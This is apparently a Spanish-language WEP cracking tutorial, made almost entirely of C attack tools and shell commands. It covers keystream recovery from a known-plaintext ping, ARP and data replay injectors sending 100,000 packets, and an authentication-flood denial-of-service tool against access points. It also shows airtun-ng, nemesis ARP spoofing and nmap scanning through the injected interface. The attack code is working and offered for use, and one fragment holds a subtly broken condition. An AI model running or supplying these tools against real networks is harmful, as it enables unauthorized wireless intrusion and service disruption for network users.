tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0

ping 10.10.10.200 -i eth0 -c 1

Total del tamaño de datos cifrados = 124 - 28 - 4 = 92 bytes cifrados

AA AA 03 00 00 00 08 00 45 00 ...... 35 36 37

int main( int argc, char *argv[] ) // inicio del programa
{
    int caplen=0;
    int bb,z;

//Comprueba el paso de parámetros 
   if( argc != 2 ) {
    	printf("\nUso: ataquePLANO interface\n\nEjemplo: ataquePLANO wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */
 
   setuid( getuid() );

/* Leemos el paquete de Datos de pring_pano.cap*/

memset (ethernet,0,1500);
if (captura_datos_ethernet() !=0) exit(1); //Comprobamos que hay un paquete .cap de ethernet

/* Enviamos ping_plano (guardado en ethernet[1500]) por la red de cable */

if (enviar_paquete_ethernet () !=0 ) exit (1); // si hubo algún error al enviarlo, fin de programa.

/* Capturamos el paquete desde la interface Wifi */

while(captura_datos_wifi(&caplen) !=0 ) {}

// Ahora en ethernet[] tenemos el paquete en texto plano y en h80211[] tenemos el paquete cifrado

z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

if( (h80211[0] & 0x80) == 0x80) z+=2;	// si es un paquete QoS z se incrementa en 2 bytes

// Volcamos el paquete cifrado para observar su contenido
printf ("\nDatos del Paquete cifrado");
dump_packet (paquete_cifrado+z+4,caplen - z -4 -4); // a caplen le restamos la cabecera MAC (z) 4 de IV y 4 de ICV

/* Obtenemos el keystream mediante XOR entre el paquete en texto plano y el paquete cifrado

El keystream se debe obtener de los datos cifrados y de los datos en texto plano
El paquete en texto plano lo tenemos en ethernet[] y el cifrado en paquete_cifrado[]
Para que todo "encaje":

	* ignorar los primeros 12 bytes de la cabecera ethernet II correspondientes a MAC destino y MAC origen
	* Luego tamaño de ethernet - 12 = tamaño de los datos cifrados
	* incluir al principio del keystream los 4 bytes correspondientes a los parámetros WEP IV
	* Añadir los 6 primeros 6 bytes de la subcapa LLC.en ethernet
	* hacer xor para obtener el keystream
	* añadir al final los 4 bytes correspondientes al ICV
	* Salvar ese keystream
*/

unsigned char mi_XOR[1500],mi_PLANO[1500], nuevo_ethernet[1500];

// nuevo ethernet será lo mismo que ethernet pero con la subcapa LLC al inicio!!!

#define mi_llc_snap "\xaa\xaa\x03\x00\x00\x00"

// tamano es el tamaño del paquete ethernet, caplen es el tamaño del paquete 802.11
// tamano menos 12 (que son los bytes de las direcciones mac ethernet) y le sumamos 6 (subcapa LLC) y lo
// comparamos con caplen restando z (que es el tamaño de la cabecera MAC 802.11), menos 4 (tamaño del IV) -4 (Tamaño del ICV)
// si tras esa operación no son los mismos valores, no se hace XOR y el programa termina.

if (tamano -12 + 6  != caplen -z -4 - 4 ) {

	printf ("\n\nEl tamaño de los datos en texto plano (%i bytes) no se corresponde con el" 
		" tamaño de los datos cifrados (%i bytes) \n\n"
		"Generación del keystream abortada.\n\n",tamano -12, caplen -z -4-4);
	exit (1);
	}

// Copiamos a nuevo_ethernet la subcapa LLC
memcpy (nuevo_ethernet, mi_llc_snap, 6);

// Copiamos a nuevo_ethernet el resto del paquete ethernet ignorando las mac destino y origen (ethernet +12)
memcpy (nuevo_ethernet+6, ethernet+12, 1500-12);

//añadimos el iV 
memcpy (mi_XOR,paquete_cifrado+z,4);

// hacemos xor desde la posición z+4 (inicio de los datos cifrados) con los datos de nuevo_ethernet
// hasta alcanzar la longitud total del paquete 802.11 sin la cabecera (z) y sin contar los IV e ICV (-4-4)
// mi_XOR comienza a contar desde la pos.4 puesto que las anteriores las ocupa el IV de la línea anterior
// paquete_cifrado comienza en la posción +z+4 (cabecera mac + 4 para el iV)

for (bb=0;bb < caplen-z-4;bb++) mi_XOR[bb+4] = paquete_cifrado[bb+z+4]^nuevo_ethernet[bb];

// añadimos al final los 4 bytes del ICV
// bb cuenta la última posición de los datos y caplen-4 es la posición inicial del ICV
memcpy(mi_XOR+bb,paquete_cifrado+caplen-4,4);

// Volcamos el paquete keystream resultante del XOR para observar su contenido
printf("\nKeystream obtenido mediante XOR del paquete cifrado con el paquete en texto plano");
dump_packet (mi_XOR,bb+4+4);

// Comprobamos que todo funciona, volvemos a hacer XOR, pero esta vez usamos el keystream obtenido (mi_XOR)
// hacemos XOR con el paquete cifrado, que lógicamente nos tiene dar lo mismo que en el paquete en texto plano
// observa que no se hace xor de los primeros 4 bytes y de los 4 últimos!!! son los IV e ICV.

for (bb=0;bb<caplen-z-4-4;bb++) mi_PLANO[bb] = paquete_cifrado[bb+z+4]^mi_XOR[bb+4];

// Volcamos el paquete keystream XOR cifrado 
printf ("\nPaquete plano resultante de cifrado XOR keystream calculado.");
dump_packet (mi_PLANO,caplen-z-4-4);

// Si volcamos el paquete nuevo_ethernet, el contenido de uno y otro deben ser IDENTICOS!!!!
printf ("\nPaquete nuevo_ethenet original (debe ser idéntico al volcado anterior)");
dump_packet (nuevo_ethernet,caplen-z-4-4);

// guardamos el keystream (prga) calculado... el que está en mi_XOR como ping.xor

FILE *f_cap_out;

if( ( f_cap_out = fopen( "ping.xor", "wb+" ) ) == NULL )
    {
        perror( "Error al abrir el archivo para escritura. ping.xor" );
        return( 1 );
    }

//    n = pkh.caplen + 8 - 24;
  
    if( fwrite( mi_XOR, caplen, 1, f_cap_out ) != 1 )
    {
        perror( "Error al escribir en el archivo ping.xor" );
        return( 1 );
    }

    fclose( f_cap_out );

printf ("\nListo!!! Guardado como ping.xor\n");

// ahora ya podemos usar ese keystream para enviar cualquier paquete a la red inalámbrica!!!!

return( 0 );
}

int captura_datos_wifi( int *caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
    time_t tr;
    struct timeval tv;
    struct tm *lt;
    int n, z;
    long nb_pkt_read;
    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;

    tr = time( NULL );
    nb_pkt_read = 0;

    signal( SIGINT, SIG_DFL );
  
    while( 1 )
    {
        
        *caplen = read_packet( h80211, sizeof( h80211 ), NULL );
	nb_pkt_read++;
	usleep(300);
	if (nb_pkt_read > 20) { // asumimos que al leer mas de 20 paquetes no hemos capturado el "bueno"
		printf ("\r*** Parece que no se ha capturado el paquete. Pulsa ctrl+c y repite *** \r");
		fflush( stdout ); 
		return (2);
		} 
        if(*caplen <= 0) continue; // si la longitud no es válida

	if( (h80211[0] & 0x0C) != 0x08)    //Si no es un paquete de datos
        	continue;

    	// if( ( h80211[1] & 0x01 ) != 0x00 ) continue; // Si es ToDS

    	if( ( h80211[1] & 0x02 ) != 0x02) continue; // Si no es FromDS 

    	if( ( h80211[1] & 0x40 ) != 0x40 ) continue; // si no es un paquete Wep activado

	if (h80211[16] != 0x00 && h80211[17] != 0x0a && h80211[18] != 0xcc) continue;

 	z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

	if( (h80211[0] & 0x80) == 0x80) z+=2;	// si es un paquete QoS z se incremente en 2
	
	/* Controlamos el paquete icmp. tamano es la longitud del paquete ethernet
	   a ese valor (tamano):
		se restan 12 de la cabecera MAC ethernet II (MAC destino y MAC origen)
		se suman 6 de la subcapa LLC 802.11 (aa aa 03 00 00 00) o (42 42 03 00 00 00 para spanning-tree)
		se suman 24 de la cabecera MAC 802.11 (ó 26 si es una paquete QoS) --> z contiene este valor
		se suman 4 del IV de WEP
		se suman 4 del ICV
		total = tamano -12 + 6 + 24 + 4 + 4 para un paquete no QoS
		total = tamano -12 + 6 + 26 + 4 + 4 para un paquete QoS
		si ese total coincide con la longitud leída, se asume que es nuestro paquete enviado
	*/

	if (*caplen == tamano - 12 + 6 + z + 4 + 4  ) {

		memset (paquete_cifrado,0,4096);
		memcpy (paquete_cifrado,h80211,*caplen);
		// printf ("\n\n");
		//dump_packet (paquete_cifrado,tamano - 12 + 6 + z + 4 + 4);
 
		break; // sale de while y procede a grabar el paquete leído en formato .pcap
	}

    }

// Grabamos el paquete leído (h80211) en el archivo ping_cifrado.cap

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;
    lt = localtime( (const time_t *) &tv.tv_sec );
    f_cap_out=0;
    if( ( f_cap_out = fopen( "ping_cifrado.cap", "wb+" ) ) == NULL )
        {
            perror( "Error al abrir archivo de salida" );
            return( 1 );
        }
    printf( "Guardado como ping_cifrado.cap\n");
    n = sizeof( struct pcap_file_header );
    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribur la cabecera pcap\n" );
            return( 1 );
        }

    pkh.tv_sec  = tv.tv_sec;
    pkh.tv_usec = tv.tv_usec;
    pkh.caplen  = *caplen;
    pkh.len     = *caplen;
    n = sizeof( pkh );

   if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribir datos en la cabecera pcap" );
            return( 1 );
        }

    n = pkh.caplen;

    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribir el paquete" );
            return( 1 );
        }

     fclose( f_cap_out );
    return( 0 );
}

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o ataquePLANO ataquePLANO.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude ataquePLANO.o common.o crypto.o -o ataquePLANO -Losdep -losdep   -lssl -lcrypto

tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0

ping 10.10.10.200 -i eth0 -c 1 -s 1423

./ataquePLANO eth1

modprobe tun

./airtun-ng -a 00:16:B6:41:03:5D -y ping.xor

ifconfig at0 10.10.10.33 netmask 255.255.255.0 up

ifconfig eth0 down

ping 10.10.10.200 -I at0

./airodump-ng -w test -d 00:16:B6:41:03:5d -c 7 eth1

./nemesis arp -S 10.10.10.33 -D 10.10.10.200 -r -d at0

nmap -sS -O -p- -P0 -n 10.10.10.200 --send-ip 10.10.10.33 -e at0

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o reenvioarp reenvioarp.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude reenvioarp.o common.o crypto.o -o reenvioarp -Losdep -losdep   -lssl -lcrypto

24 bytes 	para la cabecera 802.11 (o 26 si hay QoS)
 4 bytes 	para el IV
 6 bytes 	para la cabecera SNAP
36 bytes 	para los datos cifrados ARP
 4 bytes 	para el ICV.

int inyectar_arp_req(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
unsigned char ARP_REQ[4096];

int captura_ARP_REQ;
int tamano_arp;
int cabmac;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;
memset (ARP_REQ, 0, 4096);
captura_ARP_REQ=0;

printf ("\n**** Esperando un ARP REQ con destino a -----> ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while( captura_ARP_REQ == 0) // mientras no se haya capturado un ARP_Request
    {
        
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
	printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
	fflush (stdout);
	nb_pkt_read++;
	if (nb_pkt_read % 500 ==0) {
		printf("\n\nATENCION!!! Parece que no se capturan ARP_REQ");
		printf("\n*********** Probando desautenticación al broadcast\n");
		desautenticar_todos(macAP);
		continue;
		}
	usleep(1800);
	tamano_arp=68; // el tamaño de un paquete arp es 68 para 802.11
			// 24 para la cabecera mac 802.11 estándar
			// 4 para el IV
			// 36 de los datos cifrados de ARP
			// 4 para el ICV
			// 24+4+26+4 = 68

	if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

	cabmac = ( ( h80211[1] & 3 ) == 3 ) ? 30 : 24; //30 si (toDS=1 y FromDS=1). 24 en otro caso
	
	if( (h80211[0] & 0x80) == 0x80) {  // Si es un paquete QoS
		cabmac+=2;		// la cabecera MAC tiene un tamaño extra de 2 Bytes
		tamano_arp+=2;		// la longitud total del paquete tiene un tamaño extra de 2 bytes
	}

	if(caplen != tamano_arp) continue; // si el tamaño del paquete leido no es el de un arp, leer otro

    	if ((h80211[1] & 0x01) == 0x01) { // Si es un paquete toDS 
		
		if (h80211[16]==0xff ) { //asumimos que si la macdestino comienza por FF es broadcast
					// realmente deberíamos comprobar que las 6 posiciones sean FF
					// pero lo damos por supuesto

			/* Comprobamos que el bssid del paquete leido es la misma mac que la que tecleamos */
			/* de ese modo nos aseguramos que el paquete leído pertenece a la red wifi deseada*/

			esmiap=0;
			for (z=0;z<6;z++) {
				if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
				}
			if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
				{
				memcpy (ARP_REQ,h80211,caplen); // copiar el paqute ledio al array ARP_REQ
				captura_ARP_REQ=1; // hacemos uno esta variable para salir del while!!!
				}
		}
	}
		

} // fin de while y captura de paquetes

	/* Parece que tenemos un Candidato */

	printf ("\n\nPaquete ARP_REQ a enviar");
	printf ("\n************************\n");
	dump_packet (ARP_REQ, caplen);
	printf ("\nEsperando 5 segundos para reinyectar el paquete ARP_REQ.");
	printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
	sleep(5);

	/* Inyectar 100.000 paquetes del tipo ARP_REQ */

	for (n=0;n<100000;n++) {
		send_packet (ARP_REQ, caplen); 
		printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
		fflush (stdout);
		usleep(1800);
	}
return(0);
}

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o rebote rebote.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude rebote.o common.o crypto.o -o rebote -Losdep -losdep   -lssl -lcrypto

int main( int argc, char *argv[] ) // inicio del programa
{
    unsigned int bssidAP[6];
//Comprueba el paso de parámetros 
   if( argc != 2 ) {
    	printf("\nUso: rebote interface\n\nEjemplo: rebote wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */
 
setuid( getuid() );

printf ("\nEscribe la MAC del bssid o Punto de Acceso ----> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &bssidAP[0],&bssidAP[1],&bssidAP[2],&bssidAP[3],&bssidAP[4],&bssidAP[5]);

rebote_datos(bssidAP); 

return( 0 );
}

int rebote_datos(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;

printf ("\n**** Esperando un paquete de datos con destino a ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while(1) // mientras no se hayan capturado datos interesantes
    {
        
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
	printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
	fflush (stdout);
	nb_pkt_read++;
	usleep(1800);

	if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro
	
    	esmiap=0; //asumimos que el paquete tiene el bssid correcto que coincide con el tecleado
	for (z=0;z<6;z++) 
		if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
							// si alguno de los bytes del bssid leido es
							// diferente a los tecleados, el paquete no vale
							// y se debe leer otro nuevo
	for (z=0;z<6;z++) 
		if (h80211[z+10] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
							// si alguno de los bytes del bssid leido es
							// diferente a los tecleados, el paquete no vale
							// y se debe leer otro nuevo
	for (z=0;z<6;z++) 
		if (h80211[z+16] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
							// si alguno de los bytes del bssid leido es
							// diferente a los tecleados, el paquete no vale
							// y se debe leer otro nuevo

		
	if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
		break; // hacemos break para salir del while!!!
			
		
} // fin de while y captura de paquetes

	/* Parece que tenemos un Candidato */

	printf ("\nPaquete a enviar");
	printf ("\n****************\n");
	dump_packet (h80211, caplen);
	printf ("\nEsperando 10 segundos para reinyectar el paquete de DATOS.");
	printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
	sleep(10);

	/* Inyectar 100.000 paquetes de datos */

	for (n=0;n<100000;n++) {
		send_packet (h80211, caplen); 
		printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
		fflush (stdout);
		usleep(1800);
	}
return(0);
}

./rebote eth1

./airodump-ng -w test -c 7 -d 00:16:B6:41:03:5D

11.000.000 mbps / (1.500 * 8 bits ) = 916’67 paquetes por segundo.

16.777.216 IV’s / 916’67 paq. X seg = 18.302 seg (aproximadamente)

18.302 segundos en horas: 18.302 / 3600 = 5 horas (aproximadamente)

63 XOR 75 XOR 69 XOR 30	=	3F
75 XOR 70 XOR 6D			= 	68
72 XOR 69 XOR 69			= 	72
72 XOR 70 XOR 78			= 	7A

Texto plano XOR texto cifrado = keystream

08 06 00 01 08 00 06 04 00 02 ……… (esto es un ARP Response)

AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 02 ……… (esto es un ARP Response)

AA AA 03 00 00 00 08 06

00 01 08 00 06 04 00 02 ...

iwpriv set_prismhdr 0 

...
...
unsigned int mac_ap[6];  //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DoS_AP[30];

// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso ----------------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

/***************************************/
/* Construimos la trama de Autenticación */
/***************************************/

// FRAME CONTROL bytes 0 y 1
DoS_AP[0]=0xB0; // Esto es AUTENTICACION!!!
DoS_AP[1]=0x00;

// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 30 01
DoS_AP[2]=0X30;
DoS_AP[3]=0X01;

// MAC DESTINO -- LA DEl PUNTO DE ACCESO (DoS_AP+4, DoS_AP+5... hasta DoS_AP+9)
for (z=0;z<6;z++) DoS_AP[4+z]=mac_ap[z];

// MAC ORIGEN -- MAC Falsa ALEATORIA (DoS_AP+10, DoS_AP+11.... hasta DoS_AP+15)
for (z=0;z<6;z++) DoS_AP[10+z]=rand() & 0xFF;
DoS_AP[10]=0x00;
// MAC DEL BSSID -- LA DEL PUNTO DE ACCESO Dos_AP+16, DoS_AP+17 hasta DoS_AP+21)
for (z=0;z<6;z++) DoS_AP[16+z]=mac_ap[z];

// Número de Fragmento y número de secuencia bytes 22 y 23
DoS_AP[22]=0x10;
DoS_AP[23]=0x00;

DoS_AP[24]=0x00; 
DoS_AP[25]=0x00; 

// Número de Secuencia de la Autenticación (por ejemplo, 02 00)
DoS_AP[26]=0x02;
DoS_AP[27]=0x00;

// Razón y Estado de la DoS_AP bytes 28 y 20. Satisfactorio!!!!

DoS_AP[28]=0x00; 
DoS_AP[29]=0x00;


// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
	"\n***** * ******\n");

dump_packet(DoS_AP,30); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
 

printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");


// Comenzams el ataque DoS contra el AP.

z=1;
while(1)
	
	{
	printf ("\rEnviando trama número %i \r",z);
 	fflush( stdout );
	z++;
	send_packet(DoS_AP,30); 	//Enviamos paquete
	usleep(50000); 			//Se espera 50mil ms, se enviarán unos 200 paq. x segundo
					//con mac's aleatorias.... en 5 segundos el AP recibirá
					//1000 solicitudes con sus 1000 mac's. Resultado => Desbordamiento
					//y transcurridos unos segundos mas => todas las estaciones también fuera
	
	// Generamos una nueva MAC aleatoria
	for (i=0;i<6;i++) DoS_AP[10+i]=rand() & 0xFF;
	DoS_AP[10]=0x00;
	
	// Nº Secuencia aleatorio para h80211

	DoS_AP[22]=rand() & 0xFF;
	DoS_AP[23]=rand() & 0xFF;

	// Nº Secuencia Aleatorio para solicitud de autenticacion

	DoS_AP[26]=rand () & 0xFF;
	DoS_AP[27]=rand () & 0xFF;


	}
....
....

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosAP dosAP.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosAP.o common.o crypto.o -o dosAP -Losdep -losdep   -lssl -lcrypto

...
...

if (h80211[1] % 3 ) == 3) continue; // Es un paquete WDS. no interesa. leer otro

	switch( h80211[1] & 3 )
        {
            case  0: // es ad-hoc

		memcpy (bssid,h80211+4,6);
		memcpy (origen,h80211+10,6);
		memcpy (destino,h80211+16,6);
		break;

            case  1: // es ToDS

		memcpy (bssid,h80211+4,6);
		memcpy (origen,h80211+10,6);
		memcpy (destino,h80211+16,6);
		break;

            case  2: // es FromDS
		
		memcpy (destino,h80211+4,6);
		memcpy (bssid,h80211+10,6);
		memcpy (origen,h80211+16,6);
		break;
        }

if (origen[0] == 0xFF) memcpy (mac_victima, destino, 6);
if (destino[0] == 0xFF) memcpy (mac_victima, origen, 6);
...
...

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosLOCO dosLOCO.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosLOCO.o common.o crypto.o -o dosLOCO -Losdep -losdep   -lssl -lcrypto